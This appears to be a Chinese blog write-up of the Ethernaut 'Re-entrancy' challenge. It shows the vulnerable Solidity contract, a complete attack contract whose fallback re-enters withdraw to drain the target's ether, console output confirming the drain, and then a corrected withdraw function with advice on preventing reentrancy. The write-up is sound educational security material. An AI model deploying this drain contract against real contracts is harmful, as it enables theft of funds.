2023-05-14 re-entrency 第10个任务分析

题目要求:

The goal of this level is for you to steal all the funds from the contract.

  Things that might help:

*   Untrusted contracts can execute code where you least expect it.
*   Fallback methods
*   Throw/revert bubbling
*   Sometimes the best way to attack a contract is with another contract.
*   See the ["?"](https://ethernaut.openzeppelin.com/help) page above, section "Beyond the console"

项目源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

题目解析:
又是一个先给钱再更新状态的奇葩,只要碰到介种情况,尽管重入就是了
calltransfersend还有不一样的地方,没有限制gas的数量,这也导致了对应合约容易被构造合约多次执行。

控制台执行await getBalance(contract.address),可得结果:

'0.001'

控制台执行web3.utils.toWei(await getBalance(contract.address)),可得结果:

'1000000000000000'

项目合约在contract.address:'0xE5cE03e3ddCCd4255d96f96Cf7150c0b4202d803',等下合约代码就是这啦

我的源码:

pragma solidity ^0.8.7;

import 'openzeppelin-contracts/math/SafeMath.sol';

contract AttackReentrance {
  
    address payable target;
    address payable public owner;
    uint amount = 1000000000000000 wei;

    constructor() public payable {
        target = payable(0xE5cE03e3ddCCd4255d96f96Cf7150c0b4202d803);
        owner = payable(msg.sender);
    }

    function donate1() public payable{
        bool b;
        (b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
        require(b,"donate1 error");
    }

    function withdraw2() public payable {
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"withdraw2 error");
    }

    fallback () external payable{
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"fallback error");
    }

    function mywithdraw() external payable{
        require(msg.sender==owner,'not you');
        payable(msg.sender).transfer(address(this).balance);
    }

}

记得在部署合约阶段就给合约打0.001eth,不然执行失败不要找我!
先运行donate1再运行withdraw2,就可以把合约的水一把抽干!

控制台执行await getBalance(contract.address),可得结果:

'0'

如果有人写了这种代码怎么纠正:

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      balances[msg.sender] -= _amount;//这里先更新状态再转币
      (bool result,) = msg.sender.call{value:_amount}("");
      if(!result) { // 防止合约失败时被合约方吞币
        balances[msg.sender] += _amount;
      }
    }
  }

作者后话:
In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.

transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.

Re-entrancy is a common attack. You should always be prepared for it!

The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容